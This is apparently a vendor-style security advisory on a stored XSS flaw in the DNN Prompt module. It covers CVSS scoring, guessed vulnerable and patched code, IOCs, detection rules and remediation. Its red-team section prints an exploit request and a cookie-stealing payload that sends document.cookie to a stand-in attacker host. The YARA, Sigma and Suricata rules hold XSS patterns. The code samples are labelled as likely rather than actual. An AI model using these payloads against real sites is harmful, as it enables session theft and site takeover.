CVE-2025-59545

Executive Summary

CVE-2025-59545 is a critical stored cross-site scripting (XSS) vulnerability in the DNN (formerly DotNetNuke) Prompt module, affecting versions prior to 10.1.0. The vulnerability allows an unauthenticated attacker to inject malicious HTML or JavaScript that, when processed by certain Prompt commands, bypasses sanitization and executes in the context of an administrator's browser. This can lead to full site compromise, data theft, and privilege escalation. The CVSS score of 9.1 reflects the ease of exploitation and severe impact. No public proof-of-concept (PoC) or exploit code has been released at this time.

Supply Chain & Package Security

DNN is a .NET-based CMS distributed via NuGet and direct downloads. The vulnerable Prompt module is a core component. Organizations should verify the integrity of their DNN installation and ensure they are not using modified or third-party distributions. The patch is included in version 10.1.0, which should be obtained from the official DNN GitHub repository or NuGet feed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.1 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full read access to site data.
• Integrity Impact: High (I:H) – Full write access to site content and configuration.
• Availability Impact: High (A:H) – Potential for denial of service or site defacement.

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to complete compromise of the DNN instance.

Deep Dive & Mechanics

The DNN Prompt module provides a command-line interface for administrators to perform various tasks. Certain commands accept user-supplied input that is intended to be displayed as part of the command output. The vulnerability arises because the module does not properly sanitize or encode this input before rendering it as raw HTML in the response.

When an attacker sends a crafted request to a vulnerable Prompt command, the malicious payload is stored or reflected in the output. If an administrator views the output (e.g., via the Prompt console or a dashboard widget), the injected script executes in their browser session. This can be used to steal session cookies, perform actions on behalf of the admin, or inject backdoors.

The root cause is a lack of output encoding in the Prompt module's response handling. While other parts of DNN may sanitize input for display, the Prompt module processes the input directly without proper escaping, allowing HTML and JavaScript to pass through.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-10.1.0): The Prompt module likely uses a method that directly concatenates user input into the response without encoding. For example:

public string ExecuteCommand(string input) {
    // ... processing ...
    return "<div>" + input + "</div>"; // No encoding
}

Patched Code (10.1.0): The fix introduces proper HTML encoding using System.Web.HttpUtility.HtmlEncode or a similar method:

public string ExecuteCommand(string input) {
    // ... processing ...
    return "<div>" + System.Web.HttpUtility.HtmlEncode(input) + "</div>";
}

This ensures that any HTML tags in the input are rendered as text, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable DNN instance (version < 10.1.0) with the Prompt module enabled.
• Network access to the DNN web interface.

Exploitation Steps:

1. Identify a vulnerable Prompt command (e.g., list-users, get-settings).
2. Craft a payload that includes malicious JavaScript, such as:

   <script>alert('XSS')</script>
   

3. Send the payload via a POST request to the Prompt endpoint, e.g.:

   POST /DesktopModules/Prompt/API/Prompt/Execute HTTP/1.1
   Host: target-dnn.com
   Content-Type: application/json
   
   {"command":"list-users","args":"<script>alert('XSS')</script>"}
   

4. If an administrator views the output (e.g., via the Prompt console), the script executes.

Advanced Payload: To steal session cookies:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /DesktopModules/Prompt/API/Prompt/Execute containing HTML tags or JavaScript.
• Look for anomalous command arguments that include <script>, <img>, or onerror attributes.
• Use web application firewalls (WAF) to block requests with obvious XSS patterns.

Hunting:

• Search web server logs for requests to the Prompt API with suspicious payloads.
• Review Prompt module output for any unexpected HTML rendering.

Lab Setup:

1. Deploy a vulnerable DNN instance (e.g., version 10.0.0) in an isolated environment.
2. Enable the Prompt module and create an admin user.
3. Use Burp Suite or a custom script to send malicious requests.
4. Monitor the admin session for script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /DesktopModules/Prompt/API/Prompt/Execute with HTML/JavaScript in the args parameter.
  • Outbound connections to attacker-controlled domains from the DNN server.
• File IOCs:
  • Modified DNN configuration files (e.g., web.config) containing injected scripts.
  • Unexpected files in the DesktopModules/Prompt directory.
• Log IOCs:
  • Event logs showing execution of Prompt commands with suspicious arguments.
  • IIS logs with 400 or 500 errors from the Prompt API.

Detection Engineering

YARA Rule

rule CVE_2025_59545_XSS_Prompt {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-59545 in DNN Prompt module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59545"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
        $prompt_api = "/DesktopModules/Prompt/API/Prompt/Execute"
    condition:
        $prompt_api and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: DNN Prompt Module XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-59545 via XSS in DNN Prompt module
author: Valters IT
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains: "/DesktopModules/Prompt/API/Prompt/Execute"
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in Prompt commands (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59545 DNN Prompt XSS Attempt"; flow:to_server; content:"/DesktopModules/Prompt/API/Prompt/Execute"; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade DNN to version 10.1.0 or later immediately.
2. If upgrade is not possible, disable the Prompt module temporarily via the DNN Host Settings.
3. Apply virtual patching using a WAF to block requests containing XSS patterns to the Prompt API.

Long-term Measures:

• Implement strict input validation and output encoding for all user-supplied data.
• Conduct regular security audits of custom modules.
• Monitor for new advisories from the DNN security team.

Workaround:

• Restrict access to the Prompt API to trusted IP addresses only.
• Require administrative authentication for all Prompt commands (though this may already be in place).

Valters IT